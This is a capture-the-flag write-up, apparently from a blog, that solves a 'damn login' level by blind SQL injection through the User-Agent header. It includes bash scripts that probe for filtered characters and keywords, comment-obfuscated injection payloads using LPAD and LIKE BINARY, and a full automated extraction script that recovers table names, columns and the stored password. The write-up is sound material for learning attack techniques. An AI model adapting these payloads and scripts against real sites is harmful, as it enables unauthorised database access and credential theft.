Level 2 – damn login

The source:


a simple POST form.
Official clues:
“damn login” little hint: it’s you vs UA/Sql
UA stands for User-Agent, so we must inject some sql through User-Agent field in our requests.
“damn login”:
1st step is to get a valid query
2nd one should be to get a list of non-filtered stuff


I tried to inject different things with no luck:

Firefox Returns “you are using Firefox”
MSIE Returns “you are using Internet Explorer”
FirefoxMSIE Returns “you are using Internet Explorer” (So IE has preference in internal search)
Firefox’# Returns blank screen
Firefox’)# Returns blank screen

What about using two fields?

Firefox’,’Firefox’)# Returns “you are using Internet Explorer”
Firefox’,’o’)# Returns “you are using Internet Explorer”
Firefox’,’z’)# Returns “you are using an unknown browser”
z’,’z’)# Returns “you are using Internet Explorer”
z’,’o’)# Returns “you are using an unknown browser”

So we have 1st step cleared: we’ve got a valid query!
The query matches the right field against the left one. We have a tool to blind SQLi.
If we get IE the comparison is true and if we get unknown then it’s false.

To deal with 2nd step I wrote simple scripts to automatize the process.
We can get which characters are filtered.
Setting UA=”Fchar-to-be-checkedirefox”, if we get “Firefox” then the char is filtered and if we get “unknown” the char is not filtered.

The script gets these chars as non-filtered:
” # $ & ‘ ( ) * , . / 0 1 2 3 4 5 6 7 8 9 : ? @ A B C D E G H I J K L M N O P Q R S T U V W X Y Z [ ] _ ` a b c d e g h i j k l m n o p q r s t u v w x y z { } ~ \x7f

(\x7f is the char code as it’s a non-printable char)
(The space is filtered)

We can get which keywords are filtered.
Setting UA=”’,’keyword‘)#” if we get “IE” then the keyword is filtered and if we get “unknown” the keyword is not filtered.

Non-filtered-keywords (the list is reduced, cutting some useless keywords):
BINARY BY COLUMN LIKE LPAD ORDER SELECT TABLE WHERE

The get non-filtered-chars script:

#!/bin/bash
#
#
hex() {
  BASE=16
  if [ -z "$1" ]
  then
    HD=0
    return
  fi

  HD=`echo ""$1" "$BASE" o p" | dc`
  return
}

N_CHAR=0
S=0
while [ $S -lt 256 ]
do
  hex $N_CHAR
  HHD=$HD
  HD=`printf "\x$HD"`
  UA="User-Agent: F${HD}irefox"
  CONTENTS=`wget -O - --header="${UA}" --post-data='pass=kk&submit=go' "http://ctf.rs-labs.com:85/damn_login_82c5feb95ba26418a402506311c99c7a/" 2>/dev/null`
  CHECK=`echo ${CONTENTS} | egrep -o 'Firefox'`
  if [ $? -eq 1 ];
  then
    echo -n "Char: ${N_CHAR} / ${HHD} "
    if [ $N_CHAR -ge 32 ]
    then
      echo "/ ${HD}"
    fi
  fi
  S=$(( $S + 1 ))
  N_CHAR=$(( $N_CHAR +1 ))
done

The get non-filtered-keywords script:

#!/bin/bash
#
#
while read KEYW
do
  UA="User-Agent: ','${KEYW}')#"
  CONTENTS=`wget -O - --header="${UA}" --post-data='pass=kk&submit=go' "http://ctf.rs-labs.com:85/damn_login_82c5feb95ba26418a402506311c99c7a/" 2>/dev/null`
  CHECK=`echo ${CONTENTS} | egrep -o 'unknown'`
  if [ $? -eq 0 ];
  then
    echo "${KEYW}"
  fi
done < c5.keywords

(The file c5.keywords cotains all MySQL keywords).
Well, now we know what we can use and what we can’t.
Now we need to get the table names that contains useful info to solve this level.
So, we must perform some blind queries to get the table names using our “tool”.
The idea is to loop the valid charset looking for matches against database table names. Starting with a single char if we get a match then append a new char at the end and try again until the whole name is reached.

Trying ‘A’ it doesn’t match
Trying ‘B’ it doesn’t match

Trying ‘T’ it match
Trying ‘TA’ it match
Trying ‘TAA’ it doesn’t match
Trying ‘TAB’ it match
… and so on.

In our tool we can put our string being tested on the 1st field and into the 2nd field we must use a subquery like this:

select table_name from information_schema.tables where table_name like 'tested string'

But this doesn’t works because we need to compare a substring of table_name.
SUBSTR keyword is also filtered so we must find another non-filtered function that works as SUBSTR() function. And here it is: LPAD.

LPAD(str1,len,str2) returns str1 left-padded with str2 but the string returned is len chars in length.
Example: LPAD(‘hello’,7,’a’) returns ‘aahello’
If len is less or equal than str1 length then only len chars of str1 are returned. So if we do:
LPAD(‘str1’,length(str1),”) we get str1, and
LPAD(TABLE_NAME,length(tested-string),”) returns a substring from TABLE_NAME which have the same length as our tested string.

Using valid chars to build the injection we get something like:

${S_STR}',(SELECT/**/LPAD(TABLE_NAME,${LONG_S_STR},'')/**/FROM/**/information_schema.tables/**/WHERE/**/LPAD(TABLE_NAME,${LONG_S_STR},'')/**/LIKE/**/'${S_STR}'))#

${S_STR} is the tested string.
I’ve wrote a script to automatize the search process and I’ve got the following suspicious table names:
SecretPass
UserAgent

One comment here for the ‘_’ char and the case sensitive search.

The LIKE clause has the following syntax: string LIKE pattern. So the following queries aren’t the same:

SELECT str1 LIKE str2;
SELECT str2 LIKE str1;

Though str1 and str2 were equals, str2 is acting as pattern in 1st query and str1 in the 2nd one. This is important when using wilcards. LIKE accepts ‘%’ and ‘_’ as wilcards in pattern.

SELECT 'hell_' LIKE 'hello' is false
SELECT 'hello' LIKE 'hell_' is true!

The ‘%’ wildcard matches any number of characters, even zero characters.
The ‘_’ wildcard matches exactly one character.

If we want match the ‘_’ character we must to escape it like this: ‘\_’.

Due to this behaviour we can’t write:

WHERE/**/'${S_STR}'/**/LIKE/**/LPAD(TABLE_NAME,${LONG_S_STR},'')

because if the table_name substring contains the ‘_’ character it is acting as a wilcard and the results will be wrong!
We MUST use:

WHERE/**/LPAD(TABLE_NAME,${LONG_S_STR},'')/**/LIKE/**/'${ES_STR}'

where ${ES_STR} is the ${S_STR} with all ‘_’ chars escaped.

On the other hand, the comparisons within MySQL are made case in-sensitive.

SELECT 'HELLO' LIKE 'hello' returns true.

But if any of the operands is a binary string then the comparison is case sensitive.

SELECT 'HELLO' LIKE BINARY 'hello' returns false.

As BINARY is not filtered, we can use that to get the right names of the tables and its contents. This is important because if we’ve got “secretpass” as the table name and we want to use that name to get its contents the query fails. Try it!

When getting the column names we can specify the table name it belongs to:

${S_STR}',(SELECT/**/LPAD(COLUMN_NAME,${LONG_S_STR},'')/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_NAME/**/LIKE/**/'${TABLE_NAME}'/**/&&/**/LPAD(COLUMN_NAME,${LONG_S_STR},'')/**/LIKE/**/BINARY/**/'${ES_STR}'))#

Now we have all the ingredients to do the right injections.
We get:
prio
ua_desc
ua_keyword

as column names for UserAgent table, and:
Pwd

as unique column name for SecretPass table.

The UserAgent table contains the keywords for some browsers and the priority they have when more than one is selected (and the description you get: you are using…)

The interesting table SecretPass contains the solution to this game into the Pwd column:
Us3r4g3nt_l34k3d_s0_much_1nf0
Using it into the form we get:

The script:
(It’s perfectly possible to write a light and smaller version with bash or another language like python, but I prefer to write it in bash and invest it with a couple of options)

#!/bin/bash
#
#
#set -x

# function to init the search string
init_string() {
  # if no string, nothing to do
  if [ -z $1 ];
  then
    ${DEBUG} && echo "Init String not valid!"
    return 1
  fi
  # get index
  INDEX=`expr length $1 + 1`
  for I in `seq 1 ${INDEX}`;
  do
    CHAR_I=`echo $1 | cut -b $I`
    for J in `seq 1 ${LONG_CHARSET}`;
    do
      CHAR_J=`echo ${CHARSET} | cut -b $J`
      if [ "$CHAR_I" = "$CHAR_J" ];
      then
        SAVED[$I]=$(( $J + 1 ))
        break
      fi
    done
  done
}

# no verbose
DEBUG=false
# no curl neither wget
USE_CURL=false
USE_WGET=false
# no table_name
TABLE_NAME=""
T_NAME=""

# process parameters
while [ $# -gt 0 ];
do
  case $1 in
    "-t" )
      TABLE=$2
      shift
      ;;
    "-c" )
      COLUMN=$2
      shift
      ;;
    "-u" )
      USE_CURL=true
      ;;
    "-w" )
      USE_WGET=true
      ;;
    "-v" )
      DEBUG=true
      ;;
    "-tn" )
      TABLE_NAME="/**/TABLE_NAME/**/LIKE/**/'$2'/**/&&"
      T_NAME=$2
      shift
      ;;
    "-ss" )
      I_STRING=$2
      shift
      ;;
    esac
    shift
done

# check mandatory parameters
if [ -z ${TABLE} ] || [ -z ${COLUMN} ];
then
  echo "Use $0 -t table -c column [[-u] | [-w]] [-v] [-tn table_name] [-ss string]"
  echo -e "\t -t table:\ttable to search"
  echo -e "\c -c column:\tcolumn to search"
  echo -e "\t -u:\tuse curl"
  echo -e "\t -w:\tuse wget"
  echo -e "\t -v:\tverbose"
  echo -e "\t -tn table_name: name of the table to search for column names (-t must be information_schema.columns)"
  echo -e "\t -ss string: initial search string"
  exit
fi

CHARSET="aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ0123456789_{}[]$"
LONG_CHARSET=`expr length ${CHARSET}`
# Max long allowed for matches
MAX_LONG=40
# retro watch if we are going backwards for not to save substrings from current match to file
RETRO=0
# matches output file name
OUT_FILE="c2-${TABLE}-${COLUMN}_${T_NAME}.txt"
# paths for curl & wget
CURL_PATH=`which curl`
WGET_PATH=`which wget`

# select browser
if ${USE_CURL} -a [ ! -z ${CURL_PATH} ];
then
  BROWSER=${CURL_PATH}
  B_TYPE="c"
elif ${USE_WGET} -a [ ! -z ${WGET_PATH} ];
then
  BROWSER=${WGET_PATH}
  B_TYPE="w"
else
  if [ ! -z ${CURL_PATH} ];
  then
    BROWSER=${CURL_PATH}
    B_TYPE="c"
  elif [ ! -z ${WGET_PATH} ];
  then
    BROWSER=${WGET_PATH}
    B_TYPE="w"
  else
    echo "Error: no browsers found!"
    exit 1
  fi
fi

# rename old file if exists
if [ -f ${OUT_FILE} ];
then
  mv ${OUT_FILE} ${OUT_FILE}.bak
fi

# init saved positions to 1
for I in `seq 1 ${LONG_CHARSET}`;
do
  SAVED[${I}]=1
done
# index is the length of search string acting as a pointer
INDEX=1
# init last match found
LAST_MATCH=${I_STRING}

# set init string if exists
init_string ${I_STRING}

echo -e "Using:\n\tTable:\t\t${TABLE}\n\tColumn:\t\t${COLUMN}"
echo -e "\tBrowser:\t${BROWSER}"
test ! -z ${T_NAME} && echo -e "\tTable Name:\t${T_NAME}"
test ! -z ${I_STRING} && echo -e "\tInit string:\t${I_STRING}"

# loop forever
while true;
do

  # get last match
  MATCH="${LAST_MATCH}"
  ${DEBUG} && echo "Match value at while begining: ${MATCH}"
  ${DEBUG} && echo "Start at: ${SAVED[${INDEX}]}"
  # loop charset from saved position
  for I in `seq ${SAVED[${INDEX}]} ${LONG_CHARSET}`;
  do

    # get next char from charset
    CURRENT_CHAR="`echo ${CHARSET} | cut -b ${I}`"
    # concat at match's end
    S_STR="${MATCH}${CURRENT_CHAR}"
    LONG_S_STR=`expr length ${S_STR}`
    # build injection (User-Agent)
    # escape "_"
    ES_STR=`echo "${S_STR}" | sed 's/_/\\\_/g'`
    UA="${S_STR}',(SELECT/**/LPAD(${COLUMN},${LONG_S_STR},'')/**/FROM/**/${TABLE}/**/WHERE${TABLE_NAME}/**/LPAD(${COLUMN},${LONG_S_STR},'')/**/LIKE/**/BINARY/**/'${ES_STR}'))#"
    echo -ne "Current cad: ${S_STR}                                                   \r"
    # assume match
    MATCHED=1
    # inject
    ${DEBUG} && echo "Injecting: ${UA}"
    if [ "${B_TYPE}" = "w" ];
    then
      ${WGET_PATH} -O - --no-cache -q --ignore-length --user-agent="${UA}" --post-data='pass=kk&submit=go' "http://ctf.rs-labs.com:85/damn_login_82c5feb95ba26418a402506311c99c7a/" 2>/dev/null | egrep -o 'unknown' > /dev/null
    else
      ${CURL_PATH} -d pass=kk -d submit=go -A ${UA} http://ctf.rs-labs.com:85/damn_login_82c5feb95ba26418a402506311c99c7a/ 2>/dev/null | egrep -o 'unknown' > /dev/null
    fi
    # if $? = 0 => 'unknown' string found => no match
    if [ $? -eq 0 ];
    then
      ${DEBUG} && echo "No match"
      MATCHED=0
    fi

    # If match found
    if [ ${MATCHED} -eq 1 ];
    then
      ${DEBUG} && echo "Match"
      # save matched string
      LAST_MATCH="${S_STR}"
      ${DEBUG} && echo "Last match: ${LAST_MATCH}"
      # save next char position at index
      SAVED[${INDEX}]=`expr ${I} + 1`
      ${DEBUG} && echo "Save position: ${SAVED[${INDEX}]} en SAVED[${INDEX}]"
      # exit from for loop
      break
    fi
  done

  # if there's no match we need to go backwards
  if [ ${MATCHED} -eq 0 ];
  then
    # save old match to file only if we're going forward
    if [ ${RETRO} -eq 0 ] && [ "${MATCH}" != "${I_STRING}" ];
    then
      echo "${MATCH}" >> ${OUT_FILE}
      echo -e "\nMatch: ${MATCH}"
    fi
    # reset saved position
    SAVED[${INDEX}]=1
    # reduce index
    ((INDEX--))
    # active backwards
    RETRO=1
    # if index = 0 we're at the end
    if [ ${INDEX} -eq 0 ];
    then
      ${DEBUG} && echo "Finished for return to begining."
      exit
    fi
    # cut last char from LAST_MATCH
    L_TEMP=`expr length ${LAST_MATCH} - 1`
    if [ ${L_TEMP} -eq 0 ];
    then
      # reset LAST_MATCH
      LAST_MATCH=""
    else
      LAST_MATCH=`echo ${LAST_MATCH} | cut -b -${L_TEMP}`
    fi
    ${DEBUG} && echo "Last match new (exit from for loop without match): ${LAST_MATCH}"
  # if there's a match increase index
  else
    # if we've got max length allowed
    if [ ${INDEX} -eq ${MAX_LONG} ];
    then
      ${DEBUG} && echo "Max length reached"
      # save old match to file only if we're going forward
      if [ ${RETRO} -eq 0 ];
      then      
        echo "${MATCH}" >> ${OUT_FILE}
        echo -e "\nMatch: ${MATCH}"
      fi
      # reset saved position
      SAVED[${INDEX}]=1
      # reduce index
      ((INDEX--))
      # active backwards
      RETRO=1
      # if index = 0 we're at the end
      if [ ${INDEX} -eq 0 ];
      then
        ${DEBUG} && echo "Finished for return to begining (max length reached)."
        exit
      fi
      # cut last char from LAST_MATCH
      L_TEMP=`expr length ${LAST_MATCH} - 1`
      if [ ${L_TEMP} -eq 0 ];
      then
        # reset LAST_MATCH
        LAST_MATCH=""
      else
        LAST_MATCH=`echo ${LAST_MATCH} | cut -b -${L_TEMP}`
      fi
      ${DEBUG} && echo "Last match new (max length reached): ${LAST_MATCH}"
    else
      # increase index
      ((INDEX++))
      # now forward
      RETRO=0
      ${DEBUG} && echo "New index: ${INDEX}"
    fi
  fi
  
done

Difficulty: Hard++

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Antes de enviar el formulario: